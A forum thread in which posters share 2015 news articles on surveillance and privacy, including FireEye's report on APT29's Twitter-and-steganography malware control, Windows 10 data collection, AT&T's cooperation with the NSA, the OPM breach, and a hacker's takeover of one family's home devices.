In a public report Wednesday, researchers at security company FireEye Inc <FEYE.O> said the group used the unusual tandem as a means of communicating with previously infected computers. FireEye has briefed law enforcement on what it found.

The technique, uncovered during a FireEye investigation at an unnamed victim organization, shows how government-backed hackers can shift tactics on the fly after they are discovered.

“It’s striking how many layers of obfuscation that the group adopts,” said FireEye Strategic Analysis Manager Jennifer Weedon. “These groups are innovating and becoming more creative.”



[youtube]http://www.youtube.com/watch?v=jlGy9TmTKsA[/youtube]


The machines were given an algorithm for checking a different Twitter account every day. If a human agent registered that account and tweeted a certain message, instructions for a series of actions by the computer would be activated.

The tweeted information included a website address, a number and a handful of letters. The computer would go to the website and look for a photo of at least the size indicated by the number, while the letters were part of a key for decoding the instructions in a message hidden within the data used to display the picture on the website.

Weedon said the communication method might have been a failsafe in case other channels were discovered and cut. Vikram Thakur, a senior manager at Symantec Corp <SYMC.O>, said his team had also found Twitter controls combined with hidden data in photos, a technique known as steganography.

FireEye identified the campaign as the work of a group it has been internally calling APT29, for advanced persistent threat. In April, it said another Russian-government supported group, APT28, had used a previously unknown flaws in Adobe Systems Inc.’s Flash software to infect high-value targets.

Other security firms use different names for the same or allied groups. Symantec recently reported another data-stealing tool used in tandem with the steganography, which it calls Seaduke. Thakur said both tools were employed by the group it knows as the Duke family.

Thakur said another tool in that kit is CozyDuke, which Russian firm Kaspersky Lab says is associated with recent breaches at the State Department and the White House.



 



(Reporting by Joseph Menn; Editing by Cynthia Osterman)

Title: Re: they know what you are doing
Post by: Ellirium113 on August 01, 2015, 07:25:10 am
Microsoft has rolled out free Windows 10 upgrade for anyone using Windows 7 SP1 or newer. There's a catch (of course)...

Quote
While the upgrade is currently free of charge to owners of licensed copies of Windows 8 and Windows 7, it does come at a price. Several tech bloggers have warned that the privacy settings in the operating system are invasive by default, and that changing them involves over a dozen different screens and an external website.

According to Zach Epstein of BGR News, all of Windows 10’s features that could be considered invasions of privacy are enabled by default. Signing in with your Microsoft email account means Windows is reading your emails, contacts and calendar data. The new Edge browser serves you personalized ads. Solitaire now comes with ads. Using Cortana – the voice-driven assistant that represents Redmond’s answer to Apple’s Siri – reportedly “plays fast and loose with your data.”

http://www.rt.com/usa/311304-new-windows-privacy-issues/ (http://www.rt.com/usa/311304-new-windows-privacy-issues/)
Title: Re: they know what you are doing
Post by: ArMaP on August 01, 2015, 07:58:11 am
I am installing Windows 10 on my home computer (I installed it yesterday on a computer at work) and I read the agreement (I always do), and that part about accessing emails is not really as presented by that (and other) blogger(s). This is what the agreement for Microsoft services (not Windows 10) says about data collection:

Quote
Microsoft collects data to operate effectively and provide you the best experiences with our services. You provide some of this data directly, such as when you create a Microsoft account, submit a search query to Bing, speak a voice command to Cortana, upload a document to OneDrive, or contact us for support. We get some of it by recording how you interact with our services by, for example, using technologies like cookies, and receiving error reports or usage data from software running on your device.

We also obtain data from third parties (including other companies). For example, we supplement the data we collect by purchasing demographic data from other companies. We also use services from other companies to help us determine a location based on your IP address in order to customize certain services to your location.

The data we collect depends on the services and features you use, and includes the following.

Name and contact data. We collect your first and last name, email address, postal address, phone number, and other similar contact data.

Credentials. We collect passwords, password hints, and similar security information used for authentication and account access.

Demographic data. We collect data about you such as your age, gender, country and preferred language.

Interests and favorites. We collect data about your interests and favorites, such as the teams you follow in a sports app, the stocks you track in a finance app, or the favorite cities you add to a weather app. In addition to those you explicitly provide, your interests and favorites may also be inferred or derived from other data we collect.

Payment data. We collect data necessary to process your payment if you make purchases, such as your payment instrument number (such as a credit card number), and the security code associated with your payment instrument.

Usage data. We collect data about how you interact with our services. This includes data, such as the features you use, the items you purchase, the web pages you visit, and the search terms you enter. This also includes data about your device, including IP address, device identifiers, regional and language settings, and data about the network, operating system, browser or other software you use to connect to the services. And it also includes data about the performance of the services and any problems you experience with them.

Contacts and relationships. We collect data about your contacts and relationships if you use a Microsoft service to manage contacts, or to communicate or interact with other people or organizations.

Location data. We collect data about your location, which can be either precise or imprecise. Precise location data can be Global Position System (GPS) data, as well as data identifying nearby cell towers and Wi-Fi hotspots, we collect when you enable location-based services or features. Imprecise location data includes, for example, a location derived from your IP address or data that indicates where you are located with less precision, such as at a city or postal code level.

Content. We collect content of your files and communications when necessary to provide you with the services you use. This includes: the content of your documents, photos, music or video you upload to a Microsoft service such as OneDrive. It also includes the content of your communications sent or received using Microsoft services, such as the:
- subject line and body of an email,
- text or other content of an instant message,
- audio and video recording of a video message, and
- audio recording and transcript of a voice message you receive or a text message you dictate.

Additionally, when you contact us, such as for customer support, phone conversations or chat sessions with our representatives may be monitored and recorded. If you enter our retail stores, your image may be captured by our security cameras.

You have choices about the data we collect. When you are asked to provide personal data, you may decline. But if you choose not to provide data that is necessary to provide a service, you may not be able to use some features or services.

Service-specific sections below describe additional data collection practices applicable to use of those services.
Title: Re: they know what you are doing
Post by: space otter on August 06, 2015, 06:50:46 am

well as far as I know they still need a court to say ok to them listening in on a land line
but soon even that will be gone...sigh

I have only so many days left on Norton and when they cancel my landline I will be in hermit status
and enjoying the garden even more
but
and as soon as they have us totally electronic..maybe another 10 years tops..
 the power will go out ..lol.. then we'll see who runs what
it's all good..i guess ?  ::)




http://triblive.com/business/headlines/8866114-74/phone-copper-service#axzz3i2bT79Fs
 
 
Landline users, consumer advocates fear switch from copper to fiber networks


By The Associated Press
Thursday, Aug. 6, 2015, 12:01 a.m.
Updated 9 hours ago

WASHINGTON — The copper network behind landline phones, a communications mainstay for more than a century, is going away, as cable and fiber-optic lines are installed with faster Internet speeds.

But the alternatives have drawbacks, including an inability to withstand power outages. The federal government is considering rules Thursday to make sure Americans aren't caught off guard in emergencies if they switch.

Many people scoff at the idea of a landline. About 45 percent of the nation's households use only cellphones. But outside of cities, cell service can be poor.

Yet even among households with wired phone service, according to a government study last year, about half of them have already ditched copper-based landlines for an Internet-based phone service sold by phone and cable companies and typically packaged with TV and Internet services. That's expected to continue.

Fiber and cable networks carry big benefits, such as faster Internet service and expected improvements in 911, including the ability to send texts and photos. Verizon says fiber lasts longer than copper and doesn't need as much maintenance.

But a home phone that relies on the Internet will go out when the power does. With copper networks, the phone line delivers its own power source and will continue to work — as long as the phone isn't a cordless one needing separate power.

In addition, many home burglar alarms and medical alert systems run on the copper network, so people need time to get replacements.

“One of the concerns we all have is people don't understand the difference in these kinds of phone service. They see a phone is a phone is a phone,” said Mimi Pickering, a documentary filmmaker in rural Whitesburg, Ky. She fought unsuccessfully against her state's recent decision to drop requirements that phone companies provide old-fashioned phone service to all homes. Instead, they can now offer a wireless or Internet-based service instead.

The march away from copper appears inevitable.

“There will be so few people on the network that it won't be economical to maintain it,” said Jon Banks, a senior vice president at United States Telecom Association, which represents Verizon, AT&T and other phone companies. “When copper wears out, nobody really wants to replace it with more copper.”

On Thursday, the Federal Communications Commission is expected to require that phone companies warn residential customers three months before they abandon a copper network. For businesses, six months' notice would be required.

Phone and cable companies would have to warn customers with newer technologies that the phone will go out with the power, so people have time to get replacement alarms and backup batteries if necessary.

“If you mess with people's phone systems without explaining what's going on, you have real issues,” said Harold Feld, senior vice president at the public-interest group Public Knowledge. “People's lives depend on it.”

He estimates that about 80 million people as well as several million small businesses still have traditional copper-based phone service.

Some customers, consumer advocates and the telephone workers union accuse the phone companies of not repairing copper networks that they want to shut down. The new rules would prohibit companies from retiring a copper network through neglect. If it wants to abandon copper, it would need to tell customers.

In FCC filings, Verizon says retirement-by-neglect is a myth, while CenturyLink says it spends billions of dollars to maintain its copper network and doesn't see the need for this rule.

Consumer advocates have particular concerns about remote areas. They worry that copper will be replaced there with wireless services that don't do as much.

They point to what happened on the western part of New York's Fire Island when Superstorm Sandy destroyed a lot of the copper wiring there in 2012. Verizon wanted to replace it with a home phone service called Voice Link, which relies on the cellular network but is not a cellphone. But, unlike copper, Voice Link couldn't be used for Internet service and didn't work with faxes or credit-card machines used by small businesses.

After complaints, Verizon said it would also build a fiber network.

But some people, even in big cities, just want to keep their copper phone line.

“I'm on the 40th floor of an elevator building,” said Lynn Caporale, 57, who lives in New York. In a power failure, “I would have no elevator, no lights, no running water,” she said. And if Verizon took away her copper landline, “I would have no way of communicating with anybody.”

The FCC wants to assuage her fears. To keep phones running on newer networks and make sure people can call 911 in an emergency, the agency would require that phone and cable companies sell customers backup batteries with eight hours of power, if they want it. Verizon sells one for $40. In three years, the battery would have to last 24 hours.

Under the FCC proposal, phone companies would be able to shut down their copper without FCC approval if “no service is discontinued, reduced or impaired.” Otherwise, they would need permission. But the standards for what constitutes worse service are still being worked out. The agency is asking for opinions on things such as voice quality and support for home alarm and medical monitoring systems.

While the notifications requirements would take effect in a few months, if they get approved Thursday, the standards on service quality will take longer.



bwhahahahahahaha..just found this..never fear we can use ballons..what progress humans make when they have to..




http://www.huffingtonpost.com/entry/google-internet-balloon-sri-lanka_55c20a09e4b0f7f0bebaf94b?kvcommref=mostpopular

Aaron Barksdale
Editorial Fellow for Voices, The Huffington Post
Posted: 08/05/2015 03:20 PM EDT | Edited: 08/05/2015 06:44 PM EDT


Google's Internet Balloons Connect Remote Locations To The Web

Looks like the sky really is the limit.




https://www.youtube.com/watch?v=HOndhtfIXSY

[youtube]http://www.youtube.com/watch?v=HOndhtfIXSY[/youtube]

 





Fast Company: Sri Lanka Is The First Country To Deploy Google's Balloon-Based Internet



Google is on a mission to get everyone around the globe faster and cheaper Internet using an unlikely source of connectivity -- balloons. The balloons, which are attached to a solar panel, carry a transmitter that connects with stations on the ground. Each balloon goes about 12 miles high -- double the height at which airplanes travel or clouds form -- and provides connectivity to a ground area 25 miles in diameter.

Sri Lanka, where only 1 in 5 people are online, will be the first country to make use of the ballon-powered Internet. Earlier this year, Google brokered a deal to let local telecommunications companies transmit signal to the balloon network for free. The technology has the potential to allow people living in rural areas across the world access to the Internet. The initiative is part of a Project Loon, which seeks to increase educational and social well-being in places that were previously unable to access the Internet.

"Hopefully, in a few months, every person and every device on the island will be covered by 3G," said Harsha De Silva, deputy minster of policy planning and economic affairs, on Facebook.

"Today's agreement will certainly provide a huge boost to our game plan to create a knowledge based highly [competitive] social market economy that will help every household achieve their own dreams," De Silva added.

Other tech companies are also finding ways to connect rural and remote areas to the web. Facebook recently launched its flying drone web-initiative, Internet.org, that beams Internet via lasers to locations that don't have access.


Title: Re: they know what you are doing
Post by: space otter on August 15, 2015, 11:29:19 am

http://www.msn.com/en-us/news/us/atandt-helped-nsa-spy-on-an-array-of-internet-traffic/ar-BBlM9NE

The New York Times
By JULIA ANGWIN, CHARLIE SAVAGE, JEFF LARSON, HENRIK MOLTKE, LAURA POITRAS and JAMES RISEN
1 hr ago


AT&T Helped N.S.A. Spy on an Array of Internet Traffic

This story was reported by Julia Angwin, Charlie Savage, Jeff Larson, Henrik Moltke, Laura Poitras and James Risen.

The National Security Agency’s ability to spy on vast quantities of Internet traffic passing through the United States has relied on its extraordinary, decades-long partnership with a single company: the telecom giant AT&T.

While it has been long known that American telecommunications companies worked closely with the spy agency, newly disclosed N.S.A. documents show that the relationship with AT&T has been considered unique and especially productive. One document described it as “highly collaborative,” while another lauded the company’s “extreme willingness to help.”

AT&T’s cooperation has involved a broad range of classified activities, according to the documents, which date from 2003 to 2013. AT&T has given the N.S.A. access, through several methods covered under different legal rules, to billions of emails as they have flowed across its domestic networks. It provided technical assistance in carrying out a secret court order permitting the wiretapping of all Internet communications at the United Nations headquarters, a customer of AT&T.

The N.S.A.’s top-secret budget in 2013 for the AT&T partnership was more than twice that of the next-largest such program, according to the documents. The company installed surveillance equipment in at least 17 of its Internet hubs on American soil, far more than its similarly sized competitor, Verizon. And its engineers were the first to try out new surveillance technologies invented by the eavesdropping agency.

One document reminds N.S.A. officials to be polite when visiting AT&T facilities, noting, “This is a partnership, not a contractual relationship.”


The documents, provided by the former agency contractor Edward J. Snowden, were jointly reviewed by The New York Times and ProPublica. The N.S.A., AT&T and Verizon declined to discuss the findings from the files. “We don’t comment on matters of national security,” an AT&T spokesman said.

It is not clear if the programs still operate in the same way today. Since the Snowden revelations set off a global debate over surveillance two years ago, some Silicon Valley technology companies have expressed anger at what they characterize as N.S.A. intrusions and have rolled out new encryption to thwart them. The telecommunications companies have been quieter, though Verizon unsuccessfully challenged a court order for bulk phone records in 2014.

At the same time, the government has been fighting in court to keep the identities of its telecom partners hidden. In a recent case, a group of AT&T customers claimed that the N.S.A.’s tapping of the Internet violated the Fourth Amendment protection against unreasonable searches. This year, a federal judge dismissed key portions of the lawsuit after the Obama administration argued that public discussion of its telecom surveillance efforts would reveal state secrets, damaging national security.

The N.S.A. documents do not identify AT&T or other companies by name. Instead, they refer to corporate partnerships run by the agency’s Special Source Operations division using code names. The division is responsible for more than 80 percent of the information the N.S.A. collects, one document states.

Fairview is one of its oldest programs. It began in 1985, the year after antitrust regulators broke up the Ma Bell telephone monopoly and its long-distance division became AT&T Communications. An analysis of the Fairview documents by The Times and ProPublica reveals a constellation of evidence that points to AT&T as that program’s partner. Several former intelligence officials confirmed that finding.

A Fairview fiber-optic cable, damaged in the 2011 earthquake in Japan, was repaired on the same date as a Japanese-American cable operated by AT&T. Fairview documents use technical jargon specific to AT&T. And in 2012, the Fairview program carried out the court order for surveillance on the Internet line, which AT&T provides, serving the United Nations headquarters. (N.S.A. spying on United Nations diplomats has previouslybeenreported, but not the court order or AT&T’s involvement. In October 2013, the United States told the United Nations that it would not monitor its communications.)

The documents also show that another program, code-named Stormbrew, has included Verizon and the former MCI, which Verizon purchased in 2006. One describes a Stormbrew cable landing that is identifiable as one that Verizon operates. Another names a contact person whose LinkedIn profile says he is a longtime Verizon employee with a top-secret clearance.

After the terrorist attacks of Sept. 11, 2001, AT&T and MCI were instrumental in the Bush administration’s warrantless wiretapping programs, according to a draft report by the N.S.A.’s inspector general. The report, disclosed by Mr. Snowden and previously published by The Guardian, does not identify the companies by name but describes their market share in numbers that correspond to those two businesses, according to Federal Communications Commission reports.

AT&T began turning over emails and phone calls “within days” after the warrantless surveillance began in October 2001, the report indicated. By contrast, the other company did not start until February 2002, the draft report said.

In September 2003, according to the previously undisclosed N.S.A. documents, AT&T was the first partner to turn on a new collection capability that the N.S.A. said amounted to a “ ‘live’ presence on the global net.” In one of its first months of operation, the Fairview program forwarded to the agency 400 billion Internet metadata records — which include who contacted whom and other details, but not what they said — and was “forwarding more than one million emails a day to the keyword selection system” at the agency’s headquarters in Fort Meade, Md. Stormbrew was still gearing up to use the new technology, which appeared to process foreign-to-foreign traffic separate from the post-9/11 program.

In 2011, AT&T began handing over 1.1 billion domestic cellphone calling records a day to the N.S.A. after “a push to get this flow operational prior to the 10th anniversary of 9/11,” according to an internal agency newsletter. This revelation is striking because after Mr. Snowden disclosed the program of collecting the records of Americans’ phone calls, intelligence officials told reporters that, for technical reasons, it consisted mostly of landline phone records.

That year, one slide presentation shows, the N.S.A. spent $188.9 million on the Fairview program, twice the amount spent on Stormbrew, its second-largest corporate program.

After The Times disclosed the Bush administration’s warrantless wiretapping program in December 2005, plaintiffs began trying to sue AT&T and the N.S.A. In a 2006 lawsuit, a retired AT&T technician named Mark Klein claimed that three years earlier, he had seen a secret room in a company building in San Francisco where the N.S.A. had installed equipment.

Mr. Klein claimed that AT&T was providing the N.S.A. with access to Internet traffic that AT&T transmits for other telecom companies. Such cooperative arrangements, known in the industry as “peering,” mean that communications from customers of other companies could end up on AT&T’s network.

After Congress passed a 2008 law legalizing the Bush program and immunizing the telecom companies for their cooperation with it, that lawsuit was thrown out. But the newly disclosed documents show that AT&T has provided access to peering traffic from other companies’ networks.

AT&T’s “corporate relationships provide unique accesses to other telecoms and I.S.P.s,” or Internet service providers, one 2013 N.S.A. document states.

Because of the way the Internet works, intercepting a targeted person’s email requires copying pieces of many other people’s emails, too, and sifting through those pieces. Plaintiffs have been trying without success to get courts to address whether copying and sifting pieces of all those emails violates the Fourth Amendment.

Many privacy advocates have suspected that AT&T was giving the N.S.A. a copy of all Internet data to sift for itself. But one 2012 presentation says the spy agency does not “typically” have “direct access” to telecoms’ hubs. Instead, the telecoms have done the sifting and forwarded messages the government believes it may legally collect.

“Corporate sites are often controlled by the partner, who filters the communications before sending to N.S.A.,” according to the presentation. This system sometimes leads to “delays” when the government sends new instructions, it added.

The companies’ sorting of data has allowed the N.S.A. to bring different surveillance powers to bear. Targeting someone on American soil requires a court order under the Foreign Intelligence Surveillance Act. When a foreigner abroad is communicating with an American, that law permits the government to target that foreigner without a warrant. When foreigners are messaging other foreigners, that law does not apply and the government can collect such emails in bulk without targeting anyone.

AT&T’s provision of foreign-to-foreign traffic has been particularly important to the N.S.A. because large amounts of the world’s Internet communications travel across American cables. AT&T provided access to the contents of transiting email traffic for years before Verizon began doing so in March 2013, the documents show. They say AT&T gave the N.S.A. access to “massive amounts of data,” and by 2013 the program was processing 60 million foreign-to-foreign emails a day.

Because domestic wiretapping laws do not cover foreign-to-foreign emails, the companies have provided them voluntarily, not in response to court orders, intelligence officials said. But it is not clear whether that remains the case after the post-Snowden upheavals.

“We do not voluntarily provide information to any investigating authorities other than if a person’s life is in danger and time is of the essence,” Brad Burns, an AT&T spokesman, said. He declined to elaborate.


....................................
source

AT&T Helped N.S.A. Spy on an Array of Internet Traffic

http://www.nytimes.com/2015/08/16/us/politics/att-helped-nsa-spy-on-an-array-of-internet-traffic.html?_r=1

Title: Re: they know what you are doing
Post by: space otter on August 16, 2015, 08:42:06 am

and now AT&T has bought directv...hope you don't have one of those smart TV's or they will be watching you watch them..bwhahahahahahahah


http://about.att.com/story/att_completes_acquisition_of_directv.html

Investors / Dallas, Texas , Jul 24, 2015

AT&T Completes Acquisition of DIRECTV

Becomes World’s Largest Pay TV Provider and Video Distribution Leader Across TV, Mobile & Broadband

DALLAS, TEXAS – July 24, 2015 — AT&T Inc. (NYSE:T) has completed its acquisition of DIRECTV. The newly combined company – the largest pay TV provider in the United States and the world – will offer millions of people more choices for video entertainment on any screen from almost anywhere, any time.

“Combining DIRECTV with AT&T is all about giving customers more choices for great video entertainment integrated with mobile and high-speed Internet service,” said Randall Stephenson, AT&T chairman and CEO. “We’ll now be able to meet consumers’ future entertainment preferences, whether they want traditional TV service with premier programming, their favorite content on a mobile device, or video streamed over the Internet to any screen.

“This transaction allows us to significantly expand our high-speed Internet service to reach millions more households, which is a perfect complement to our coast-to-coast TV and mobile coverage,” Stephenson said. “We’re now a fundamentally different company with a diversified set of capabilities and businesses that set us apart from the competition.”

AT&T now is the largest pay TV provider in the U.S. and the world, providing service to more than 26 million customers in the United States and more than 191 million customers in Latin America, including Mexico and the Caribbean. Additionally, AT&T has more than 132 million wireless subscribers and connections in the U.S. and Mexico; offers 4G LTE mobile coverage to nearly 310 million people in the U.S.; covers 57 million U.S. customer locations with high-speed Internet; and has nearly 16 million subscribers to its high-speed Internet service.

Current customers of AT&T and DIRECTV do not need to do anything as a result of the merger. They’ll continue to receive their same services, channel lineups, and customer care. Customer account information, online access and billing arrangements remain the same. The integration of AT&T and DIRECTV will occur over the coming months. In the coming weeks, AT&T will launch new integrated TV, mobile and high-speed Internet offers that give customers greater value and convenience.

With the completion of its DIRECTV acquisition, AT&T will continue to deploy its all-fiber GigaPower Internet access service – the company’s highest-speed Internet service, which allows you to download a TV show in as little as three seconds. When the expansion is complete, AT&T’s all-fiber broadband footprint will reach more than 14 million customer locations. 

AT&T announced that John Stankey will be CEO of AT&T Entertainment & Internet Services, responsible for leading its combined DIRECTV and AT&T Home Solutions operations. Stankey will report to Stephenson. DIRECTV President, Chairman and CEO Mike White announced his plans to retire.

“Mike is one of the world’s top CEOs and a great leader who built DIRECTV into a premier TV and video entertainment company spanning the U.S. and Latin America,” Stephenson said. “He has been a terrific partner and friend, and his legacy will be an important part of our combined company.”

As a result of this transaction, AT&T leads the industry in offering consumers premier content, particularly live sports programming, such as the exclusive rights to NFL SUNDAY TICKET, which gives customers every out-of-market NFL game, every Sunday afternoon, on any screen – TV, mobile devices or PCs. Additionally, the company owns ROOT SPORTS, one of the nation’s premier regional sports networks, and has stakes in The Tennis Channel, MLB Network, NHL Network, and GSN (Game Show Network).

AT&T is also developing unique video offerings for consumers through, among other initiatives, its Otter Media joint venture with The Chernin Group. The joint venture was established to invest in, acquire and launch over-the-top (OTT) video services. This includes its purchase of a majority stake in Fullscreen, a global online media company that works with more than 50,000 content creators who engage 450 million subscribers and generate 4 billion monthly views.

Under the terms of the merger, DIRECTV shareholders received 1.892 shares of AT&T common stock, in addition to $28.50 in cash, per share of DIRECTV. AT&T will provide complete updated 2015 financial guidance at a conference the company will host for financial analysts in the coming weeks. The conference will be webcast to the public.

The DIRECTV acquisition significantly diversifies AT&T’s revenue mix, products, geographies and customer bases. As a result of this acquisition, as well as AT&T’s acquisition of Iusacell and Nextel Mexico, AT&T expects that, by the end of 2015, its largest revenue streams will be, in descending order: Business Solutions (both wireless and wireline); Entertainment & Internet; Consumer Mobility; and International Mobility and Video.

As part of the Federal Communications Commission’s approval of the transaction, AT&T has agreed to the following conditions for the next four years:

•Within 4 years, AT&T will offer its all-fiber Internet access service to at least 12.5 million customer locations, such as residences, home offices and very small businesses.  Combined with AT&T’s existing high-speed broadband network, at least 25.7 million customer locations will have access to broadband speeds of 45Mbps or higher.
•Within its wireline footprint, the company will offer 1Gbps service to any eligible school or library requesting E-rate services, pursuant to applicable rules, within the company’s all-fiber footprint.   
•Within AT&T’s 21-state wireline footprint, it will offer discounted fixed broadband service to low-income households that qualify for the government’s Supplemental Nutrition Assistance Program. In locations where it’s available, service with speeds of at least
10Mbps will be offered for $10 per month. Elsewhere, 5Mbps service will be offered for $10 per month or, in some locations, 3Mbps service will be offered for $5 per month.
•AT&T’s retail terms and conditions for its fixed broadband Internet services will not favor its own online video programming services. AT&T can and will, however, continue to offer discounted integrated bundles of its video and high-speed Internet services.
•AT&T must submit to the FCC new interconnection agreements it enters into with peering networks and on-net customers for the exchange of Internet traffic. The company will develop, in conjunction with an independent expert, a methodology for measuring the performance of its Internet traffic exchange and regularly report these metrics to the FCC.
•AT&T will appoint a Company Compliance Officer to develop and implement a plan to ensure compliance with these merger conditions. Also, the company will engage an independent, third-party compliance officer to evaluate the plan and its implementation, and submit periodic reports to the FCC. 
AT&T products and services are provided or offered by subsidiaries and affiliates of AT&T Inc. under the AT&T brand and not by AT&T Inc.

1 Includes DIRECTV Latin America pay TV subscribers as of March 31, 2015, including subscribers of Sky Mexico, in which DIRECTV holds a minority stake.

About AT&T

AT&T Inc. (NYSE:T) helps millions around the globe connect with leading entertainment, mobile, high speed Internet and voice services. We’re the world’s largest provider of pay TV. We have TV customers in the U.S. and 11 Latin American countries. In the U.S., our wireless network offers the nation’s strongest LTE signal and the most reliable 4G LTE network. We offer the best global wireless coverage*. And we help businesses worldwide serve their customers better with our mobility and secure cloud solutions.

Additional information about AT&T products and services is available at http://about.att.com. Follow our news on Twitter at @ATT, on Facebook at http://www.facebook.com/att and YouTube at http://www.youtube.com/att.

© 2015 AT&T Intellectual Property. All rights reserved. AT&T, the Globe logo and other marks are trademarks and service marks of AT&T Intellectual Property and/or AT&T affiliated companies. All other marks contained herein are the property of their respective owners.

Reliability and signal strength claims based on nationwide carriers’ LTE. Signal strength claim based ONLY on avg. LTE signal strength. LTE not available everywhere.

*Global coverage claim based on offering discounted voice and data roaming; LTE roaming; voice roaming; and world-capable smartphone and tablets in more countries than any other U.S. based carrier. Coverage not available in all areas. Coverage may vary per country and be limited/restricted in some countries.

Cautionary Language Concerning Forward-Looking Statements
Information set forth in this news release contains financial estimates and other forward-looking statements that are subject to risks and uncertainties, and actual results may differ materially. A discussion of factors that may affect future results is contained in AT&T's filings with the Securities and Exchange Commission. AT&T disclaims any obligation to update or revise statements contained in this news release based on new information or otherwise.


 ::)
Title: Re: they know what you are doing
Post by: space otter on September 02, 2015, 05:30:24 am
 :(

I think this is one time when assume is ok.. if you work for the gov you can assume  your info has been hacked - even if you haven't been notified YET..sigh


http://www.huffingtonpost.com/entry/millions-affected-by-the-us-government-hack-havent-been-told-yet_55e6adabe4b0aec9f3551eb8

Reuters
Posted: 09/02/2015 04:20 AM EDT


Millions Affected By The U.S. Government Hack Haven't Been Told Yet

The DoD will inform them "later this month."



WASHINGTON — The U.S. government has not yet notified any of the 21.5 million federal employees and contractors whose security clearance data was hacked more than three months ago, officials acknowledged on Tuesday.

The agency whose data was hacked, the Office of Personnel Management (OPM), said the Defense Department will begin "later this month" to notify employees and contractors across the government that their personal information was accessed by hackers.

OPM said notifications would continue over several weeks and "will be sent directly to impacted individuals."

OPM also announced that it hired a contractor to help protect the identities and credit ratings of employees whose data was hacked.

In a statement, OPM said it had awarded a contract initially worth more than $133 million to a company called Identity Theft Guard Solutions LLC, doing business as ID experts, for identity theft protections for the 21.5 million victims of the security data breach. The contractor will provide credit and identity monitoring services for three years, as well as identity theft insurance, to affected individuals and dependent children aged under 18, the agency said.

Officials have said that compromised records could include embarrassing personal details, such as arrest records or information about drug use, generated by field investigators assigned to check out disclosures made in clearance applicants.

U.S. investigators have said they believe the hackers were based in China and probably were connected to the Chinese government. So far U.S. security officials have found no evidence that the Chinese or anyone else had tried to use the hacked data for nefarious purposes, officials said.

An interagency group is considering whether responsibility for security clearance investigations should be shifted from OPM to another government agency. The White House confirmed such a study is under way.



(Reporting by Mark Hosenball; Editing by David Storey and David Gregorio)
Title: Re: they know what you are doing
Post by: space otter on September 03, 2015, 07:24:18 pm


http://www.huffingtonpost.com/entry/justice-department-cell-phone-tracking_55e8ddbfe4b093be51bb0fa9
Reuters
By Julia Edwards
Posted: 09/03/2015 08:26 PM EDT


New Federal Rules Will Make It Harder For Law Enforcement To Track Your Cell Phone


"The public has a real privacy interest and concern here. We have attempted to strike the right balance."




WASHINGTON (Reuters) - U.S. prosecutors and some federal law enforcement agencies will need to obtain a search warrant to use devices that track cellphone locations, under a policy announced by the U.S. Justice Department on Thursday.

Until now, U.S. attorneys and Justice Department agencies, including the FBI and the Drug Enforcement Administration, have been able to use cell-site simulators without applying for a warrant or outlining a probable cause.

Cell-site simulators replicate phone towers to pick up location-identifying information that enables law enforcement to apprehend fugitives, conduct narcotic investigations or rescue a kidnapped child, Deputy Attorney General Sally Yates told reporters on Thursday.

"But we also recognize that the public has a real privacy interest and concern here," Yates said. "We have attempted to strike the right balance."

The American Civil Liberties Union estimates at least 53 agencies across 21 states use cell-site simulators, but the number could be much higher because many keep their purchasing of the devices a secret.

(http://img.huffingtonpost.com//asset/scalefit_630_noupscale/55e8e2c514000077002e4eb5.jpeg)

Privacy advocates have criticized law enforcement agencies for picking up the data of bystanders when they are tracking a suspect.

Under the new guidelines, agencies will have to delete data collected from phones outside of the one targeted within 30 days. Those who are known not to be targets will be deleted within a day, according to the new guidelines.

The new regulations come during a debate over privacy versus security that was spurred by disclosures from fugitive former U.S. spy agency contractor Edward Snowden in 2013 that the United States collected Americans' cellphone data without warrants.

There will be exceptions that will allow federal agencies to use cell-site simulators without obtaining a warrant, such as in "exigent circumstances," the guidelines said.

State and local agencies will have to comply with the new rules only in cases they are investigating in tandem with federal agencies, the Justice Department said.

The guidance does not apply to federal agencies outside the Justice Department, such as the Department of Homeland Security, the Central Intelligence Agency or the National Security Agency.

Other rules introduced on Thursday include training personnel to use the equipment appropriately and mandatory supervision.



(Reporting by Julia Edwards; Editing by Peter Cooney, Steve Orlofsky and Bernard Orr)

Title: Re: they know what you are doing
Post by: space otter on September 07, 2015, 11:39:35 am

this was in todays local paper..i hope they will update if they catch the hacker



http://triblive.com/news/armstrong/8995833-74/computer-hacker-smith#axzz3l4yZ50gB
By Julie E. Martin    
 Wednesday, Sept. 2, 2015, 12:06 p.m.
 Updated 22 hours ago


family pic at link

Hacker stuns Dayton family with computer takeover


 

 
Tanya Smith could not believe her eyes as she watched her computer being operated by a hacker somewhere in cyberspace.

Bright green text scrolled against the black computer screen as the hacker typed away furiously in front of her. She was helpless to stop it — her keyboard and mouse rendered useless by the intruder.

“He was making fun of me, saying, ‘you can't type on here,'” she said. “Then this person typed, ‘why do you look so surprised?'”

The hacker had not only accessed her computer, but its camera as well — making him able to watch what was going on inside the family's house in Dayton as he typed away. The hacker hijacked the family's technology at around 11 p.m. Aug. 21. The ordeal, which Smith said lasted until about 4 a.m. Aug. 22, included a take over of not only the family's computer but its television, iPods, cell phones and children's electronic devices.

“Somehow he was able to control everything that was connected to the Wi-Fi,” she said. “You couldn't do anything. He was totally in control.”

The hacker stole a small amount of money from a bank account as he continued to harass Smith and her family from inside their computer. He typed that Smith's husband looked bewildered. The hacker told them he could see their 10-year-old daughter in her pajamas ... and that she looked pretty.

The girl was not even in the same room as the computer. She was in the living room, watching television. But because the television set has Wi-Fi and a camera of its own, he was able to watch her as well, Smith said.

“He was typing inappropriate things, saying, ‘now you're making me mad, I'm going to take more money out of your banking account,'” she said.

Smith's daughter-in-law, Jenna McClafferty, witnessed the incident when it was happening. Because she is good with computers, her in-laws asked her to come to the house and see what was happening for herself. She could not help but be stunned.

“The hacker was saying all kinds of provocative things. It was just crazy,” McClafferty said. “I was in total shock. He knew that my husband and I were there.”

Smith called 911. At first the dispatcher was in disbelief. But state police from the Kittanning station – who are investigating the crime – came to her Main Street home. When they walked in, the hacker typed: “You should have never called the cops.”

The state troopers investigating could not be reached for comment, but Smith said they helped the family find the camera on their computer and cover it up. When they did, the hacker said he could no longer see their “beautiful faces,” but could still hear them.

The family eventually unplugged all of the electronic devices in their home or removed the batteries. Items like iPods, with batteries that cannot be removed, they laid face down in their garage until they lost all power.

It took about five days for Smith's cable company to replace their modem and give them a new IP address. Her bank is in the process of refunding the stolen money. About $100 was taken before the bank recognized problems and froze the account.

“I don't know how to make my family feel safe again, when there was someone typing on our computer saying he had been watching us for days,” she said.

Protect yourself online

Computer experts at Indiana University of Pennsylvania say there are measures to thwart hackers like the one who invaded the Smith home.

